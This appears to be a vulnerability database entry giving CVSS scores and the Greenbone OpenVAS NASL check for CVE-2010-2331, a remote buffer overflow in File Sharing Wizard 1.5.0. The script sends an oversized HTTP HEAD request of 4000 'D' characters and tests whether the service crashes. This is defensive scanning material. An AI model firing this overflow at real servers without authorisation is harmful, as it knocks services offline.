9.3 High
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:M/Au:N/C:C/I:C/A:C
9.5 High
AI Score
Confidence
High
0.057 Low
EPSS
Percentile
93.4%
File Sharing Wizard is prone to a remote buffer-overflow
vulnerability because it fails to perform adequate boundary checks on user-supplied input.
# SPDX-FileCopyrightText: 2010 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
if (description)
{
script_oid("1.3.6.1.4.1.25623.1.0.100745");
script_version("2023-07-21T05:05:22+0000");
script_tag(name:"last_modification", value:"2023-07-21 05:05:22 +0000 (Fri, 21 Jul 2023)");
script_tag(name:"creation_date", value:"2010-08-05 13:46:20 +0200 (Thu, 05 Aug 2010)");
script_tag(name:"cvss_base", value:"9.3");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:C/I:C/A:C");
script_cve_id("CVE-2010-2331");
script_name("File Sharing Wizard 'HEAD' Command Remote Buffer Overflow Vulnerability");
script_xref(name:"URL", value:"http://www.securityfocus.com/bid/40928");
script_tag(name:"qod_type", value:"remote_analysis");
script_category(ACT_DENIAL);
script_family("Buffer overflow");
script_copyright("Copyright (C) 2010 Greenbone AG");
script_dependencies("find_service.nasl", "httpver.nasl", "global_settings.nasl");
script_require_ports("Services/www", 80);
script_exclude_keys("Settings/disable_cgi_scanning");
script_tag(name:"summary", value:"File Sharing Wizard is prone to a remote buffer-overflow
vulnerability because it fails to perform adequate boundary checks on user-supplied input.");
script_tag(name:"impact", value:"Successfully exploiting this issue may allow remote attackers to
execute arbitrary code in the context of the application. Failed attacks will cause
denial-of-service conditions.");
script_tag(name:"affected", value:"File Sharing Wizard 1.5.0 is known to be vulnerable. Other
versions may also be affected.");
script_tag(name:"solution_type", value:"WillNotFix");
script_tag(name:"solution", value:"No known solution was made available for at least one year
since the disclosure of this vulnerability. Likely none will be provided anymore.
General solution options are to upgrade to a newer release, disable respective features,
remove the product or replace the product by another one.");
exit(0);
}
include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
port = http_get_port( default:80 );
url = string("/");
buf = http_get_cache(item:url, port:port);
if("File Sharing Wizard" >!< buf)exit(0);
if(http_is_dead(port:port))exit(0);
soc = open_sock_tcp(port);
if(!soc)exit(0);
ex = crap(data:"D", length: 4000);
send(socket:soc,data:string("HEAD ",ex," HTTP/1.0\r\n\r\n"));
close(soc);
sleep(5);
if(http_is_dead(port:port)) {
security_message(port:port);
exit(0);
}
exit(0);